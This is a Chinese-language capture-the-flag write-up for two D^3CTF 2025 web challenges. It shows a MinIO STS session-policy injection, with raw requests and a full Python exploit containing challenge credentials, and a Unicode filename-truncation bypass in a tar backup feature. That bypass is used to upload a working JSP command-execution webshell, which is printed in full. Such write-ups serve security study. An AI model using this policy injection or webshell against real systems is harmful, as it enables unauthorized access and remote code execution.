2025 D^3CTF个人web方向wp题解 d3invitation 信息搜集 题目容器显示有一个minio存储桶,一开始先测试了Minio
的未授权信息泄露CVE,无果,遂继续抓包分析,并将static/js/tools.js
丢给AI分析了一下,发现总共就三个接口:/api/genSTSCreds
,/api/getObject
,/api/putObject
/api/genSTSCreds
接口可以获取STS凭证
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /api/genSTSCreds HTTP/1.1 Host: 34.150.83.54:31668 Content-Length: 26 Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://34.150.83.54:31668 Referer: http://34.150.83.54:31668/ Accept-Encoding: gzip, deflate, br Connection: keep-alive {"object_name":"test.txt"}
测试发现返回的STS凭证只能用来读取对应名称的对象,显然有策略控制只能访问对应名称的存储桶对象
用web服务提供的读取存储桶接口/api/getObject
要注意将获取的secret_access_key
在传入时进行URL编码(对+号进行URL编码),不然会报错
将返回的STS凭证的session_token
的内容拿去jwt解密,发现sessionPolicy
部分有输入的内容(object_name
)存在,猜测可能是直接进行字符串拼接的,可能可以进行RAM策略注入。
初步测试 先测试了一下通过注入来扩展策略的资源(Resources
)范围
1 {"object_name":"*\",\"arn:aws:s3:::*"}
发现可以访问当前存储桶上传的所有文件,确实是可以注入的
继续利用 构造注入允许执行所有Action
的策略
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /api/genSTSCreds HTTP/1.1 Host: 127.0.0.1:11243 Content-Length: 99 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136" Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: */* Origin: http://127.0.0.1:11243 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:11243/ Accept-Encoding: gzip, deflate, br Connection: keep-alive {"object_name": "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}
成功注入策略
一开始利用请求到的凭证进行访问时报错SignatureDoesNotMatch
1 2 <?xml version="1.0" encoding="UTF-8"?> <Error><Code>SignatureDoesNotMatch</Code><Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message><Resource>/</Resource><RequestId>18445CC363C4457D</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
后面发现错误原因是缺少安全令牌的签名计算,我将 x-amz-security-token
加入了请求头,但没有包含在签名计算中,MinIO会验证所有签名头部的完整性
访问根目录,可以看到flag存储桶,访问里面的flag键得到flag
字符串直接拼接真是万恶之源
EXP get flag DeepSeek一把梭Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import hmacimport hashlibimport datetimeimport urllib.parseimport requestsACCESS_KEY = "PTKZVLPN95ORZHJTBK0D" SECRET_KEY = "d9QeMbVCgiMUE+EJ1eHfZIZlll+f6qmoL42HQTif" SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJQVEtaVkxQTjk1T1JaSEpUQkswRCIsImV4cCI6MTc0ODYyODI3MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2SWwxOUxIc2lSV1ptWldOMElqb2lRV3hzYjNjaUxDSkJZM1JwYjI0aU9sc2ljek02S2lKZExDSlNaWE52ZFhKalpTSTZXeUpoY200NllYZHpPbk16T2pvNktpSmRmVjE5In0.wgYw9JJXuiACRXaZmIh2i-GSVUSEUW1kNLkRenMPpntr4r9DasxvArw0llt1eROVuTiOFR9Z3SSI0xpDzDDlwQ" MINIO_ENDPOINT = "http://34.150.83.54:30761" def sign (key, msg ): return hmac.new(key, msg.encode('utf-8' ), hashlib.sha256).digest() def get_signature_key (key, date_stamp, region_name, service_name ): k_date = sign(('AWS4' + key).encode('utf-8' ), date_stamp) k_region = sign(k_date, region_name) k_service = sign(k_region, service_name) return sign(k_service, 'aws4_request' ) def generate_aws_headers (method, path ): now = datetime.datetime.utcnow() amz_date = now.strftime('%Y%m%dT%H%M%SZ' ) date_stamp = now.strftime('%Y%m%d' ) host = MINIO_ENDPOINT.split('//' )[1 ].split('/' )[0 ] canonical_uri = '/' + '/' .join( urllib.parse.quote(segment, safe='' ) for segment in path.split('/' ) ) canonical_querystring = "" canonical_headers = f"host:{host} \n" canonical_headers += f"x-amz-date:{amz_date} \n" canonical_headers += f"x-amz-security-token:{SESSION_TOKEN} \n" signed_headers = "host;x-amz-date;x-amz-security-token" payload_hash = hashlib.sha256(b'' ).hexdigest() canonical_request = ( f"{method} \n" f"{canonical_uri} \n" f"{canonical_querystring} \n" f"{canonical_headers} \n" f"{signed_headers} \n" f"{payload_hash} " ) algorithm = "AWS4-HMAC-SHA256" credential_scope = f"{date_stamp} /us-east-1/s3/aws4_request" string_to_sign = ( f"{algorithm} \n" f"{amz_date} \n" f"{credential_scope} \n" f"{hashlib.sha256(canonical_request.encode('utf-8' )).hexdigest()} " ) signing_key = get_signature_key(SECRET_KEY, date_stamp, "us-east-1" , "s3" ) signature = hmac.new( signing_key, string_to_sign.encode('utf-8' ), hashlib.sha256 ).hexdigest() authorization_header = ( f"{algorithm} Credential={ACCESS_KEY} /{credential_scope} , " f"SignedHeaders={signed_headers} , " f"Signature={signature} " ) return { 'Host' : host, 'x-amz-date' : amz_date, 'x-amz-security-token' : SESSION_TOKEN, 'Authorization' : authorization_header } def list_all_buckets (): headers = generate_aws_headers("GET" , f"/" ) url = f"{MINIO_ENDPOINT} /" response = requests.get(url, headers=headers) if response.status_code == 200 : print ("[+] 所有存储桶列表:" ) print (response.text) return response.text else : print ("[ERROR]" ) print (response.text) if __name__ == "__main__" : headers = generate_aws_headers("GET" , "flag/flag" ) response = requests.get( f"{MINIO_ENDPOINT} /flag/flag" , headers=headers ) print (response.text)
d3jtar 信息搜集 jadx反编译静态分析源码发现上传文件过滤了各种后缀,比如第一个jsp,并且过滤了各种特殊字符,防止路径穿越
一开始直接丢给AI分析了一轮,构建出整体框架,发现只有三个路由:view
,Backup
,Upload
进行backup
操作的时候发现会将views下的文件保存为backup.tar归档,然后在restore时解压出来,一开始想到构造一个带有可造成路径穿越的文件的backup.tar,restore出来路径穿越覆盖掉一开始的backup.tar,然后再restore一次来将jsp马写入views,试了,无果,untar的时候不会递归解压,反编译的代码也显示了这一点。但是发现untar的过程没有进行检查,可以猜测大概是要先backup
然后restore
来进行某种利用
分析源码
这个 getNameBytes
函数存在一个严重的字符编码处理漏洞,根本原因是 Unicode 字符被直接截断为低8位字节
1 2 3 4 5 6 7 8 9 public static int getNameBytes (StringBuffer name, byte [] buf, int offset, int length) { int i; for (i=0 ; i<length && i<name.length(); ++i){ buf[offset+i] = (byte ) name.charAt(i); } for (; i < length; ++i){ buf[offset+i] = 0 ; } }
字符转换过程:
name.charAt(i) 返回 16 位 Unicode 字符(0-65535)
(byte) 强制转换为 8 位字节(-128 到 127)
高8位数据被丢弃,只保留低8位
因此字符产生了截断
POST上传jsp马getshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 POST /Upload HTTP/1.1 Host: 35.241.98.126:31160 Content-Length: 710 Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryn4OruM32HnKlqw5n Accept: */* Origin: http://35.241.98.126:31454 Referer: http://35.241.98.126:31454/ Accept-Encoding: gzip, deflate, br Connection: keep-alive ------WebKitFormBoundaryn4OruM32HnKlqw5n Content-Disposition: form-data; name="file"; filename="testn.jųp" Content-Type: application/octet-stream <%@ page import="java.util.*, java.io.*" %> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line + "<br>"); } } %> <h1>Webshell Active</h1> <form method="GET"> <input type="text" name="cmd" size="80"> <input type="submit" value="Execute"> </form> ------WebKitFormBoundaryn4OruM32HnKlqw5n--
利用webshell获取Flag
搞定
总结 也是坐上烧卖师傅们的挂车了555
有趣的一次端午假期